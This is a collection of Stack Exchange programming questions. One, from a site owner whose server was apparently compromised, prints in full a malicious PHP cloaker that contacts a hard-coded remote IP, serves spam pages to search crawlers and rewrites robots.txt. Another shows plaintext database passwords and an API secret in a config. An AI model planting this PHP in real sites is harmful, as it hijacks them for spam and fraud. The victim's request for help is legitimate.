问:
PyArrow Issues in Dataframe
I am using Prophet lib to develop the analytics data but if we are using different source of the data, we are encountering as below kind of error.

PythonException: An exception was thrown from a UDF:
'pyarrow.lib.ArrowTypeError: Expected a string or bytes dtype, got
float64

Code we are using:

```<code>def run_row_outlier_check(df: DataFrame, min_date, start_date, groupby_cols, job_id) -> DataFrame:

    pd_schema = StructType([
        StructField(groupby_col, StringType(), True),
        StructField("ds", DateType(), True),
        StructField("y", IntegerType(), True),
        StructField("yhat", FloatType(), True),
        StructField("yhat_lower", FloatType(), True),
        StructField("yhat_upper", FloatType(), True),
        StructField("trend", FloatType(), True),
        StructField("trend_lower", FloatType(), True),
        StructField("trend_upper", FloatType(), True),
        StructField("additive_terms", FloatType(), True),
        StructField("additive_terms_lower", FloatType(), True),
        StructField("additive_terms_upper", FloatType(), True),
        StructField("weekly", FloatType(), True),
        StructField("weekly_lower", FloatType(), True),
        StructField("weekly_upper", FloatType(), True),
        StructField("yearly", FloatType(), True),
        StructField("yearly_lower", FloatType(), True),
        StructField("yearly_upper", FloatType(), True),
        StructField("multiplicative_terms", FloatType(), True),
        StructField("multiplicative_terms_lower", FloatType(), True),
        StructField("multiplicative_terms_upper", FloatType(), True)
        ])

    # dataframe of consecutive dates
    df_rundates = (ps.DataFrame({'date':pd.date_range(start=min_date, end=(date.today() - timedelta(days=1)))})).to_spark()

    # combine + explode to create row for each date and grouped col (e.g. business segment)
    df_bizlist = (
        df.filter(f"{date_col} >= coalesce(date_sub(date 'today', {num_days_check}), '{start_date}')")
            .groupBy(groupby_col)
            .count()
            .orderBy(col("count").desc())
    )

    df_rundates_bus = (
        df_rundates
            .join(df_bizlist, how='full')
            .select(df_bizlist[groupby_col], df_rundates["date"].alias("ds"))
    )

    # create input dataframe for prophet forecast
    df_grouped_cnt = df.groupBy(groupby_cols).count()
    df_input = (
        df_rundates_bus.selectExpr(f"{groupby_col}", "to_date(ds) as ds")
            .join(df_grouped_cnt.selectExpr(f"{groupby_col}", f"{date_col} as ds", "count as y"), on=['ds',f'{groupby_col}'], how='left')
            .withColumn("y", coalesce("y", lit(0)))
            .repartition(sc.defaultParallelism, "ds")
    )

    # cache dataframe to improve performance
    #df_input.cache().repartition(sc.defaultParallelism, "ds")

    # forecast
    df_forecast = (
        df_input
            .groupBy(groupby_col)
                .applyInPandas(pd_apply_forecast, schema=pd_schema)
    )
    # filter forecast with outlier scores
    df_rowoutliers = (
        df_forecast
            .filter("y > 0 AND (y > yhat_upper OR y < array_max(array(yhat_lower,0)))")
            .withColumn("check_type", lit("row_count"))
            .withColumn("deduct_score", expr("round(sqrt(pow(y-yhat, 2) / pow(yhat_lower - yhat_upper,2)))").cast('int'))
            .select(
                col("check_type"),
                col("ds").alias("ref_date"),
                col(groupby_col).alias("ref_dimension"),
                col("y").cast('int').alias("actual"),
                col("deduct_score"),
                col("yhat").alias("forecast"),
                col("yhat_lower").alias("forecast_lower"),
                col("yhat_upper").alias("forecast_upper")
            )
    )
    return add_metadata_columns(df_forecast, job_id), add_metadata_columns(df_rowoutliers, job_id)

def add_metadata_columns(df: DataFrame, job_id) -> DataFrame:
    """
    |    Add job metadata to dataframe
    """
    df = df.select(
        lit(f"{job_id}").cast("int").alias("job_id"),
        lit(f"{source_type}").alias("source_type"),
        lit(f"{server}").alias("server_name"),
        lit(f"{database}").alias("database_name"),
        lit(f"{table}").alias("table_name"),
        lit(f"{groupby_col}").alias("ref_dim_column"),
        lit(f"{date_col}").alias("ref_date_column"),
        df["*"],
        expr("current_timestamp()").alias("_job_timestamp"),
        expr("current_user()").alias("_job_user")
    ).withColumnRenamed(groupby_col, "ref_dimension")
    return df
</code>```

Title: PyArrow Issues in Dataframe

Body:
I am using Prophet lib to develop the analytics data but if we are using different source of the data, we are encountering as below kind of error.

PythonException: An exception was thrown from a UDF:
'pyarrow.lib.ArrowTypeError: Expected a string or bytes dtype, got
float64

Code we are using:

def run_row_outlier_check(df: DataFrame, min_date, start_date, groupby_cols, job_id) -> DataFrame:

    pd_schema = StructType([
        StructField(groupby_col, StringType(), True),
        StructField("ds", DateType(), True),
        StructField("y", IntegerType(), True),
        StructField("yhat", FloatType(), True),
        StructField("yhat_lower", FloatType(), True),
        StructField("yhat_upper", FloatType(), True),
        StructField("trend", FloatType(), True),
        StructField("trend_lower", FloatType(), True),
        StructField("trend_upper", FloatType(), True),
        StructField("additive_terms", FloatType(), True),
        StructField("additive_terms_lower", FloatType(), True),
        StructField("additive_terms_upper", FloatType(), True),
        StructField("weekly", FloatType(), True),
        StructField("weekly_lower", FloatType(), True),
        StructField("weekly_upper", FloatType(), True),
        StructField("yearly", FloatType(), True),
        StructField("yearly_lower", FloatType(), True),
        StructField("yearly_upper", FloatType(), True),
        StructField("multiplicative_terms", FloatType(), True),
        StructField("multiplicative_terms_lower", FloatType(), True),
        StructField("multiplicative_terms_upper", FloatType(), True)
        ])

    # dataframe of consecutive dates
    df_rundates = (ps.DataFrame({'date':pd.date_range(start=min_date, end=(date.today() - timedelta(days=1)))})).to_spark()

    # combine + explode to create row for each date and grouped col (e.g. business segment)
    df_bizlist = (
        df.filter(f"{date_col} >= coalesce(date_sub(date 'today', {num_days_check}), '{start_date}')")
            .groupBy(groupby_col)
            .count()
            .orderBy(col("count").desc())
    )

    df_rundates_bus = (
        df_rundates
            .join(df_bizlist, how='full')
            .select(df_bizlist[groupby_col], df_rundates["date"].alias("ds"))
    )

    # create input dataframe for prophet forecast
    df_grouped_cnt = df.groupBy(groupby_cols).count()
    df_input = (
        df_rundates_bus.selectExpr(f"{groupby_col}", "to_date(ds) as ds")
            .join(df_grouped_cnt.selectExpr(f"{groupby_col}", f"{date_col} as ds", "count as y"), on=['ds',f'{groupby_col}'], how='left')
            .withColumn("y", coalesce("y", lit(0)))
            .repartition(sc.defaultParallelism, "ds")
    )

    # cache dataframe to improve performance
    #df_input.cache().repartition(sc.defaultParallelism, "ds")

    # forecast
    df_forecast = (
        df_input
            .groupBy(groupby_col)
                .applyInPandas(pd_apply_forecast, schema=pd_schema)
    )
    # filter forecast with outlier scores
    df_rowoutliers = (
        df_forecast
            .filter("y > 0 AND (y > yhat_upper OR y < array_max(array(yhat_lower,0)))")
            .withColumn("check_type", lit("row_count"))
            .withColumn("deduct_score", expr("round(sqrt(pow(y-yhat, 2) / pow(yhat_lower - yhat_upper,2)))").cast('int'))
            .select(
                col("check_type"),
                col("ds").alias("ref_date"),
                col(groupby_col).alias("ref_dimension"),
                col("y").cast('int').alias("actual"),
                col("deduct_score"),
                col("yhat").alias("forecast"),
                col("yhat_lower").alias("forecast_lower"),
                col("yhat_upper").alias("forecast_upper")
            )
    )
    return add_metadata_columns(df_forecast, job_id), add_metadata_columns(df_rowoutliers, job_id)

def add_metadata_columns(df: DataFrame, job_id) -> DataFrame:
    """
    |    Add job metadata to dataframe
    """
    df = df.select(
        lit(f"{job_id}").cast("int").alias("job_id"),
        lit(f"{source_type}").alias("source_type"),
        lit(f"{server}").alias("server_name"),
        lit(f"{database}").alias("database_name"),
        lit(f"{table}").alias("table_name"),
        lit(f"{groupby_col}").alias("ref_dim_column"),
        lit(f"{date_col}").alias("ref_date_column"),
        df["*"],
        expr("current_timestamp()").alias("_job_timestamp"),
        expr("current_user()").alias("_job_user")
    ).withColumnRenamed(groupby_col, "ref_dimension")
    return df


来源: stackexchange

问:
Access denied for user while fetching data from mongoDB through Mongosqld(mongoDB BI connector)
I’m running the database with mongoDB and i have converted it into Query data with the help of mongosqld(mongoDB BI connector). And i want to fetch the data in cube server but whenever i do this cube server throws me the error which is in the below image.

Mongosqld.config file

```<code>  bindIp: "127.0.0.1"
  port: 3307
  ssl:
    mode: "allowSSL"
    allowInvalidCertificates: false
    PEMKeyFile: "/mongo.pem"
    CAFile: "/certificate.pem"
    minimumTLSVersion: TLS1_1

mongodb:
  net:
    uri: "mongodb://localhost:27017"
    ssl:
      enabled: false
    auth:
      username: "kp"
      password: "kp@123"
      source: "admin"

security:
  enabled: true
  defaultMechanism: "SCRAM-SHA-256"
  defaultSource: "admin"

processManagement:
  service:
    name: "mongosql"
    displayName: "MongoSQL Service"
    description: "MongoSQL accesses MongoDB data with SQL"
</code>```

CUBE env file

```<code># Cube.js environment variables: https://cube.dev/docs/reference/environment-variables
CUBEJS_DB_TYPE=mongobi
CUBEJS_API_SECRET=9c7a834d9be0cd2fb4e7b86a88a2bd1368ffbc614dcf8fa8f836933b00d00c6916fa83b074c66a2b26579266edc93e0e1990b1271f6214ee799dc08b05b6a097
CUBEJS_EXTERNAL_DEFAULT=true
CUBEJS_SCHEDULED_REFRESH_DEFAULT=true
CUBEJS_WEB_SOCKETS=true
CUBEJS_DB_HOST=127.0.0.1
CUBEJS_DB_NAME=(database name)
CUBEJS_DB_USER=kp
CUBEJS_DB_PASSWORD=kp@123
CUBEJS_DB_PORT=3307
CUBEJS_DEV_MODE=true
CUBEJS_REFRESH_WORKER=true
# port=4242
# NODE_ENV=production
CUBEJS_DB_SSL=true
#CUBEJS_DB_SSL_CA=<SSL_CA>
#CUBEJS_DB_SSL_CERT=<SSL_CERT>
#CUBEJS_DB_SSL_CIPHERS=<SSL_CIPHERS>
#CUBEJS_DB_SSL_PASSPHRASE=<SSL_PASSPHRASE>
CUBEJS_DB_SSL_REJECT_UNAUTHORIZED=false
</code>```

Roles provided to user kp

```<code>Successfully added user:
{
   "user" : "kp",
   "roles" : [
     {
       "role" :"userAdminAnyDatabase",
       "db" : "admin"
     },
     {
       "role" :"readWriteAnyDatabase",
       "db" : "admin"
     },
     {
       "role" :"dbAdminAnyDatabase",
       "db" : "admin"
     }
  ]
}
</code>```

Error is this:

```<code>2022-12-28T14:06:22.244+0530 I NETWORK    [conn5] connection accepted from 127.0.0.1:63039 #5 (1 connection now open)
2022-12-28T14:06:22.277+0530 E NETWORK    [conn5] handshake error: unable to authenticate conversation 0: sasl conversation error: unable to authenticate using mechanism "SCRAM-SHA-256": (AuthenticationFailed) Authentication failed.
2022-12-28T14:06:22.279+0530 I NETWORK    [conn5] end connection 127.0.0.1:63039 (0 connections now open)
</code>```

Error in cube server

```<code>Error while loading DB schema
Error: Access denied for user 'kp' at PromiseConnection.connect (E:\mongobiCube\node_modules\mysql2\promise.js:171:22) at Object.create (E:\mongobiCube\node_modules\@cubejs-backend\mongobi-driver\src\MongoBIDriver.ts:95:30) at MongoBIDriver.testConnection (E:\mongobiCube\node_modules\@cubejs-backend\mongobi-driver\src\MongoBIDriver.ts:165:63) at CubejsServerCore.getDriver (E:\mongobiCube\node_modules\@cubejs-backend\server-core\src\core\server.ts:727:20) at processTicksAndRejections
</code>```

ContentLicense: CC BY-SA 4.0

Body:
I’m running the database with mongoDB and i have converted it into Query data with the help of mongosqld(mongoDB BI connector). And i want to fetch the data in cube server but whenever i do this cube server throws me the error which is in the below image.

Mongosqld.config file

  bindIp: "127.0.0.1"
  port: 3307
  ssl:
    mode: "allowSSL"
    allowInvalidCertificates: false
    PEMKeyFile: "/mongo.pem"
    CAFile: "/certificate.pem"
    minimumTLSVersion: TLS1_1

mongodb:
  net:
    uri: "mongodb://localhost:27017"
    ssl:
      enabled: false
    auth:
      username: "kp"
      password: "kp@123"
      source: "admin"

security:
  enabled: true
  defaultMechanism: "SCRAM-SHA-256"
  defaultSource: "admin"

processManagement:
  service:
    name: "mongosql"
    displayName: "MongoSQL Service"
    description: "MongoSQL accesses MongoDB data with SQL"

CUBE env file

# Cube.js environment variables: https://cube.dev/docs/reference/environment-variables
CUBEJS_DB_TYPE=mongobi
CUBEJS_API_SECRET=9c7a834d9be0cd2fb4e7b86a88a2bd1368ffbc614dcf8fa8f836933b00d00c6916fa83b074c66a2b26579266edc93e0e1990b1271f6214ee799dc08b05b6a097
CUBEJS_EXTERNAL_DEFAULT=true
CUBEJS_SCHEDULED_REFRESH_DEFAULT=true
CUBEJS_WEB_SOCKETS=true
CUBEJS_DB_HOST=127.0.0.1
CUBEJS_DB_NAME=(database name)
CUBEJS_DB_USER=kp
CUBEJS_DB_PASSWORD=kp@123
CUBEJS_DB_PORT=3307
CUBEJS_DEV_MODE=true
CUBEJS_REFRESH_WORKER=true
# port=4242
# NODE_ENV=production
CUBEJS_DB_SSL=true
#CUBEJS_DB_SSL_CA=<SSL_CA>
#CUBEJS_DB_SSL_CERT=<SSL_CERT>
#CUBEJS_DB_SSL_CIPHERS=<SSL_CIPHERS>
#CUBEJS_DB_SSL_PASSPHRASE=<SSL_PASSPHRASE>
CUBEJS_DB_SSL_REJECT_UNAUTHORIZED=false

Roles provided to user kp

Successfully added user:
{
   "user" : "kp",
   "roles" : [
     {
       "role" :"userAdminAnyDatabase",
       "db" : "admin"
     },
     {
       "role" :"readWriteAnyDatabase",
       "db" : "admin"
     },
     {
       "role" :"dbAdminAnyDatabase",
       "db" : "admin"
     }
  ]
}

Error is this:

2022-12-28T14:06:22.244+0530 I NETWORK    [conn5] connection accepted from 127.0.0.1:63039 #5 (1 connection now open)
2022-12-28T14:06:22.277+0530 E NETWORK    [conn5] handshake error: unable to authenticate conversation 0: sasl conversation error: unable to authenticate using mechanism "SCRAM-SHA-256": (AuthenticationFailed) Authentication failed.
2022-12-28T14:06:22.279+0530 I NETWORK    [conn5] end connection 127.0.0.1:63039 (0 connections now open)

Error in cube server

Error while loading DB schema
Error: Access denied for user 'kp' at PromiseConnection.connect (E:\mongobiCube\node_modules\mysql2\promise.js:171:22) at Object.create (E:\mongobiCube\node_modules\@cubejs-backend\mongobi-driver\src\MongoBIDriver.ts:95:30) at MongoBIDriver.testConnection (E:\mongobiCube\node_modules\@cubejs-backend\mongobi-driver\src\MongoBIDriver.ts:165:63) at CubejsServerCore.getDriver (E:\mongobiCube\node_modules\@cubejs-backend\server-core\src\core\server.ts:727:20) at processTicksAndRejections


问:
How to add web fragment project which has filter as dependency to spring boot project
How and where to configure metadata-complete =false and absolute-ordering values in springboot since it doesnot have web.xml</p>
```<code><?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"
metadata-complete="false">
  <display-name>department-service</display-name>
  <welcome-file-list>
    <welcome-file>index.html</welcome-file>
    <welcome-file>index.htm</welcome-file>
    <welcome-file>index.jsp</welcome-file>
    <welcome-file>default.html</welcome-file>
    <welcome-file>default.htm</welcome-file>
    <welcome-file>default.jsp</welcome-file>
  </welcome-file-list>
  <absolute-ordering>

    <name>webFrag</name>

</absolute-ordering>

</web-app>

placed web.xml in by creating webapp folder in springboot still filter is not getting invoked
</code>```

Body:
How and where to configure metadata-complete =false and absolute-ordering values in springboot since it doesnot have web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"
metadata-complete="false">
  <display-name>department-service</display-name>
  <welcome-file-list>
    <welcome-file>index.html</welcome-file>
    <welcome-file>index.htm</welcome-file>
    <welcome-file>index.jsp</welcome-file>
    <welcome-file>default.html</welcome-file>
    <welcome-file>default.htm</welcome-file>
    <welcome-file>default.jsp</welcome-file>
  </welcome-file-list>
  <absolute-ordering>

    <name>webFrag</name>

</absolute-ordering>

</web-app>

placed web.xml in by creating webapp folder in springboot still filter is not getting invoked


问:
what is the browser back event function in JAVASCRIPT

hit the browser back button
2)custom popup open or close on back action.


问:
In public_html folder of my cpanel, file generated automatically
In my public_html folder, an index.php file, a .htaccess and a random named file like 'ofvfe.php' is automatically generated. If I delete that file, it will regenerated.

I do scan with virus scanner but found nothing. In terminal, I try to kill that process via 'kill' command, but it's not working. index.php is like ....

```<code><?php $group_num='z1223_3';$inter_domain='http://63.141.251.178/'.$group_num.'/';function curl_get_contents($url){$ch=curl_init();curl_setopt ($ch, CURLOPT_URL, $url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);$file_contents = curl_exec($ch);curl_close($ch);return $file_contents; }function getServerCont($url,$data=array()){$url=str_replace(' ','+',$url);$ch=curl_init();curl_setopt($ch,CURLOPT_URL,"$url");curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_TIMEOUT,10);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data));$output = curl_exec($ch);$errorCode = curl_errno($ch);curl_close($ch);if(0!== $errorCode){ return false;}return $output;}function is_crawler($agent){$agent_check=false; $bots='googlebot|google|yahoo|bing|aol';if($agent!=''){if(preg_match("/($bots)/si",$agent)){$agent_check = true; }}return $agent_check;}function check_refer($refer){ $check_refer=false;$referbots='google.co.jp|yahoo.co.jp|google.com';if($refer!='' && preg_match("/($referbots)/si",$refer)){ $check_refer=true; }return $check_refer; }$http=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https://':'http://');$req_uri=$_SERVER['REQUEST_URI'];$domain=$_SERVER["HTTP_HOST"];$self=$_SERVER['PHP_SELF'];$ser_name=$_SERVER['SERVER_NAME'];$req_url=$http.$domain.$req_uri;$indata1=$inter_domain."/indata.php";$map1=$inter_domain."/map.php";$jump1=$inter_domain."/jump.php";$url_words=$inter_domain."/words.php";$url_robots=$inter_domain."/robots.php";if(strpos($req_uri,".php")){$href1=$http.$domain.$self;}else{$href1=$http.$domain;}$data1[]=array();$data1['domain']=$domain;$data1['req_uri']=$req_uri;$data1['href']=$href1;$data1['req_url']=$req_url;if(substr($req_uri,-6)=='robots'){$robots_cont = getServerCont($url_robots,$data1);define('BASE_PATH',str_ireplace($_SERVER['PHP_SELF'],'',__FILE__));file_put_contents(BASE_PATH.'/robots.txt',$robots_cont);$robots_cont=file_get_contents(BASE_PATH.'/robots.txt');if(strpos(strtolower($robots_cont),"sitemap")){echo 'robots.txt file create success!';}else{echo 'robots.txt file create fail!';}exit;}if(substr($req_uri,-4)=='.xml'){if(strpos($req_uri,"pingsitemap.xml")){ $str_cont = getServerCont($map1,$data1); $str_cont_arr= explode(",",$str_cont); $str_cont_arr[]='sitemap'; for($k=0;$k<count($str_cont_arr);$k++){ if(strpos($href1,".php")> 0){ $tt1='?'; }else{ $tt1='/';}$http2=$href1.$tt1.$str_cont_arr[$k].'.xml';$data_new='https://www.google.com/ping?sitemap='.$http2;$data_new1='http://www.google.com/ping?sitemap='.$http2;if(stristr(@file_get_contents($data_new),'successfully')){echo $data_new.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@curl_get_contents($data_new),'successfully')){echo $data_new.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@file_get_contents($data_new1),'successfully')){echo $data_new1.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@curl_get_contents($data_new1),'successfully')){echo $data_new1.'===>Submitting Google Sitemap: OK'.PHP_EOL; }else{echo $data_new1.'===>Submitting Google Sitemap: fail'.PHP_EOL;} } exit;} if(strpos($req_uri,"allsitemap.xml")){ $str_cont = getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;exit;} if(strpos($req_uri,".php")){ $word4=explode("?",$req_uri); $word4=$word4[count($word4)-1]; $word4=str_replace(".xml","",$word4); }else{ $word4= str_replace("/","",$req_uri);$word4= str_replace(".xml","",$word4); }$data1['word']=$word4;$data1['action']='check_sitemap';$check_url4=getServerCont($url_words,$data1);if($check_url4=='1'){ $str_cont=getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;exit;} $data1['action']="check_words"; $check1= getServerCont($url_words,$data1);if(strpos($req_uri,"map")> 0 || $check1=='1'){$data1['action']="rand_xml";$check_url4=getServerCont($url_words,$data1);header("Content-type:text/xml");echo $check_url4;exit;}}if(strpos($req_uri,".php")){$main_shell=$http.$ser_name.$self;$data1['main_shell']=$main_shell;}else{$main_shell=$http.$ser_name;$data1['main_shell']=$main_shell;}$referer=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';$chk_refer=check_refer($referer); if(strpos($_SERVER['REQUEST_URI'],'.php')){ $url_ext='?'; }else{ $url_ext='/'; } if($chk_refer && (preg_match('/ja/i',@$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match('/ja/i',@$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match("/^[a-z0-9]+[0-9]+$/",end(explode($url_ext,str_replace(array(".html",".htm"),"",$_SERVER['REQUEST_URI'])))))){ echo getServerCont($jump1,$data1);exit; } $user_agent=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'');$res_crawl=is_crawler($user_agent); if($res_crawl){ $data1['http_user_agent']=$user_agent;$get_content = getServerCont($indata1,$data1);if($get_content=="404"){header('HTTP/1.0 404 Not Found');exit;}else if($get_content=="500"){header("HTTP/1.0 500 Internal Server Error");exit;}else if($get_content=="blank"){echo '';exit;}else{echo $get_content;exit;} }else{ header("HTTP/1.0 404 Not Found"); } ?>

</code>```

What should I do? Please give me any suggestion. Thanks in advance

Body:
In my public_html folder, an index.php file, a .htaccess and a random named file like 'ofvfe.php' is automatically generated. If I delete that file, it will regenerated.

I do scan with virus scanner but found nothing. In terminal, I try to kill that process via 'kill' command, but it's not working. index.php is like ....

<?php $group_num='z1223_3';$inter_domain='http://63.141.251.178/'.$group_num.'/';function curl_get_contents($url){$ch=curl_init();curl_setopt ($ch, CURLOPT_URL, $url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);$file_contents = curl_exec($ch);curl_close($ch);return $file_contents; }function getServerCont($url,$data=array()){$url=str_replace(' ','+',$url);$ch=curl_init();curl_setopt($ch,CURLOPT_URL,"$url");curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_TIMEOUT,10);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data));$output = curl_exec($ch);$errorCode = curl_errno($ch);curl_close($ch);if(0!== $errorCode){ return false;}return $output;}function is_crawler($agent){$agent_check=false; $bots='googlebot|google|yahoo|bing|aol';if($agent!=''){if(preg_match("/($bots)/si",$agent)){$agent_check = true; }}return $agent_check;}function check_refer($refer){ $check_refer=false;$referbots='google.co.jp|yahoo.co.jp|google.com';if($refer!='' && preg_match("/($referbots)/si",$refer)){ $check_refer=true; }return $check_refer; }$http=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https://':'http://');$req_uri=$_SERVER['REQUEST_URI'];$domain=$_SERVER["HTTP_HOST"];$self=$_SERVER['PHP_SELF'];$ser_name=$_SERVER['SERVER_NAME'];$req_url=$http.$domain.$req_uri;$indata1=$inter_domain."/indata.php";$map1=$inter_domain."/map.php";$jump1=$inter_domain."/jump.php";$url_words=$inter_domain."/words.php";$url_robots=$inter_domain."/robots.php";if(strpos($req_uri,".php")){$href1=$http.$domain.$self;}else{$href1=$http.$domain;}$data1[]=array();$data1['domain']=$domain;$data1['req_uri']=$req_uri;$data1['href']=$href1;$data1['req_url']=$req_url;if(substr($req_uri,-6)=='robots'){$robots_cont = getServerCont($url_robots,$data1);define('BASE_PATH',str_ireplace($_SERVER['PHP_SELF'],'',__FILE__));file_put_contents(BASE_PATH.'/robots.txt',$robots_cont);$robots_cont=file_get_contents(BASE_PATH.'/robots.txt');if(strpos(strtolower($robots_cont),"sitemap")){echo 'robots.txt file create success!';}else{echo 'robots.txt file create fail!';}exit;}if(substr($req_uri,-4)=='.xml'){if(strpos($req_uri,"pingsitemap.xml")){ $str_cont = getServerCont($map1,$data1); $str_cont_arr= explode(",",$str_cont); $str_cont_arr[]='sitemap'; for($k=0;$k<count($str_cont_arr);$k++){ if(strpos($href1,".php")> 0){ $tt1='?'; }else{ $tt1='/';}$http2=$href1.$tt1.$str_cont_arr[$k].'.xml';$data_new='https://www.google.com/ping?sitemap='.$http2;$data_new1='http://www.google.com/ping?sitemap='.$http2;if(stristr(@file_get_contents($data_new),'successfully')){echo $data_new.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@curl_get_contents($data_new),'successfully')){echo $data_new.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@file_get_contents($data_new1),'successfully')){echo $data_new1.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@curl_get_contents($data_new1),'successfully')){echo $data_new1.'===>Submitting Google Sitemap: OK'.PHP_EOL; }else{echo $data_new1.'===>Submitting Google Sitemap: fail'.PHP_EOL;} } exit;} if(strpos($req_uri,"allsitemap.xml")){ $str_cont = getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;exit;} if(strpos($req_uri,".php")){ $word4=explode("?",$req_uri); $word4=$word4[count($word4)-1]; $word4=str_replace(".xml","",$word4); }else{ $word4= str_replace("/","",$req_uri);$word4= str_replace(".xml","",$word4); }$data1['word']=$word4;$data1['action']='check_sitemap';$check_url4=getServerCont($url_words,$data1);if($check_url4=='1'){ $str_cont=getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;exit;} $data1['action']="check_words"; $check1= getServerCont($url_words,$data1);if(strpos($req_uri,"map")> 0 || $check1=='1'){$data1['action']="rand_xml";$check_url4=getServerCont($url_words,$data1);header("Content-type:text/xml");echo $check_url4;exit;}}if(strpos($req_uri,".php")){$main_shell=$http.$ser_name.$self;$data1['main_shell']=$main_shell;}else{$main_shell=$http.$ser_name;$data1['main_shell']=$main_shell;}$referer=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';$chk_refer=check_refer($referer); if(strpos($_SERVER['REQUEST_URI'],'.php')){ $url_ext='?'; }else{ $url_ext='/'; } if($chk_refer && (preg_match('/ja/i',@$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match('/ja/i',@$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match("/^[a-z0-9]+[0-9]+$/",end(explode($url_ext,str_replace(array(".html",".htm"),"",$_SERVER['REQUEST_URI'])))))){ echo getServerCont($jump1,$data1);exit; } $user_agent=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'');$res_crawl=is_crawler($user_agent); if($res_crawl){ $data1['http_user_agent']=$user_agent;$get_content = getServerCont($indata1,$data1);if($get_content=="404"){header('HTTP/1.0 404 Not Found');exit;}else if($get_content=="500"){header("HTTP/1.0 500 Internal Server Error");exit;}else if($get_content=="blank"){echo '';exit;}else{echo $get_content;exit;} }else{ header("HTTP/1.0 404 Not Found"); } ?>

What should I do? Please give me any suggestion. Thanks in advance


问:
Create Dyanamic GridView and bind on RowDataBound Event
Actually i want to create Dynamic gridview inside a gridview and bind on RowDatabound event. here my code

```<code>GridView grdKiosk = new GridView();
ID = "grid";
e.Row.Cells[StartingColIndex].Controls.Add(grdKiosk);
grdKiosk.RowDataBound += new GridViewRowEventHandler(grdKiosk_RowDataBound);
grdKiosk.DataBound += grdKiosk_DataBound;
grdKiosk.DataSource = data;
grdKiosk.DataBind();
</code>```

in the above code i'm not able to add RowDataBound Event
it giving a error grdKiosk_RowDataBound does't exists
please help me

Body:
Actually i want to create Dynamic gridview inside a gridview and bind on RowDatabound event. here my code

GridView grdKiosk = new GridView();
ID = "grid";
e.Row.Cells[StartingColIndex].Controls.Add(grdKiosk);
grdKiosk.RowDataBound += new GridViewRowEventHandler(grdKiosk_RowDataBound);
grdKiosk.DataBound += grdKiosk_DataBound;
grdKiosk.DataSource = data;
grdKiosk.DataBind();

in the above code i'm not able to add RowDataBound Event
it giving a error grdKiosk_RowDataBound does't exists
please help me


问:
Is it possible to measure the sound intensity from PCM data?
I am using two PDM microphones(mems transducer) with STM32 to measure the intensity and if the intensity of the left microphone is higher than the right one then an LED should turn on.

We measure the intensity of analog signals like when the signal is higher than a certain threshold then do something(if(ADC_Val >= 3000)do something...), so is it possible to do such things with PDM microphones?

Is it possible to measure the intensity of sound from PCM samples?


问:
How to calculate running total using pandas
I have the data as below.

```<code>|stock  |datetime               |AVG_Price      |MF     |NetMF
 ------- ----------------------- --------------- ------- --------
|ABCD   |2022-12-06 09:15:00    |234.50         |237864 |237864
|ABCD   |2022-12-06 09:16:00    |236.55         |357784 |595648
|ABCD   |2022-12-06 09:17:00    |233.23         |334959 |260689
|ABCD   |2022-12-06 09:18:00    |233.23         |498756 |759445
|ABCD   |2022-12-06 09:19:00    |225.23         |456789 |302656
|ABCD   |2022-12-06 09:20:00    |222.23         |678546 |-375890
|ABCD   |2022-12-06 09:21:00    |222.23         |567483 |-943373
|ABCD   |2022-12-06 09:22:00    |220.23         |67483  |-1010856
</code>```

The desired output in NetMF

I want to calculate Net MF using below conditions.

At datetime 9:15, I will return MF value into Net MF From 9:16 onwards below is the logic i want to follow:

If AVG_Price at 9:16 > AVG_Price at 9:15 then Net MF at 9:16 = Net MF at 9:15 + MF at 9:16

If AVG_Price at 9:16 < AVG_Price at 9:15 then Net MF at 9:16 = Net MF at 9:15 - MF at 9:16

